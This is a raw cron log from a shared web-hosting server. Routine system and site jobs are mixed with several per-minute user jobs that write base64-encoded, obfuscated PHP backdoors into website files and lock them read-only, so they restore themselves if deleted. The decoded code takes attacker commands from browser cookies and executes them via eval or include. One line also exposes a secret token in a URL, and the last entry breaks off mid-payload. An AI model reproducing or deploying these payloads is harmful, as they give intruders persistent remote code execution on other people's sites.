Jun  7 11:56:02 medusa CROND[2956]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:56:02 medusa CROND[2957]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:56:02 medusa CROND[2959]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:56:02 medusa CROND[2960]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 11:56:02 medusa CROND[2958]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:56:02 medusa CROND[2963]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:56:02 medusa CROND[2964]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:56:02 medusa CROND[2967]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:56:02 medusa CROND[2969]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:56:02 medusa CROND[2977]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:57:01 medusa CROND[4671]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:57:02 medusa CROND[4716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:57:02 medusa CROND[4720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:57:02 medusa CROND[4721]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 11:57:02 medusa CROND[4722]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:57:02 medusa CROND[4723]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:57:02 medusa CROND[4724]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:57:02 medusa CROND[4725]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:57:02 medusa CROND[4726]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:57:02 medusa CROND[4739]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:57:02 medusa CROND[4740]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:57:02 medusa CROND[4741]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:58:01 medusa CROND[6218]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:58:02 medusa CROND[6224]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:58:02 medusa CROND[6225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:58:02 medusa CROND[6226]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 11:58:02 medusa CROND[6227]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:58:02 medusa CROND[6229]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:58:02 medusa CROND[6231]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:58:02 medusa CROND[6236]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:58:02 medusa CROND[6228]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:58:02 medusa CROND[6239]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZ